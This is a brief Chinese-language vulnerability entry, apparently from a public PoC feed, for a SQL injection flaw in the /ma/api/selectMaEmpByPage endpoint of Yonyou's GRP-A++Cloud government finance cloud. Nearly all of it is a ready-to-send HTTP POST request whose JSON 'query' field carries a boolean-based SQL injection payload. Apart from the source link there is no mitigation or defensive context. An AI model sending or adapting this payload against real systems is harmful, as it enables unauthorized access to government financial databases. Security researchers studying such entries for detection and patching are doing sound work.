用友政务 GRP-A++Cloud政府财务云 /ma/api/selectMaEmpByPage SQL注入漏洞

2024-05-21 用友政务GRP-A++Cloud PoC Public

Description

用友政务 GRP-A++Cloud政府财务云 /ma/api/selectMaEmpByPage 存在SQL注入漏洞

PoC

POST /ma/api/selectMaEmpByPage HTTP/1.1
Accept-Encoding: gzip
Connection: close
Content-Length: 112
Content-Type: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/[REDACTED] Safari/537.36

{"rgCode":"","setYear":"2024","agencyCode":"","orgCode":"","query":"') AND 74506=745061 AND ('pzhG' LIKE 'pzhG"}

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://stack.chaitin.com/vuldb/detail/0b451e2c-0777-45da-8262-d1233fff0603

Related Vulnerabilities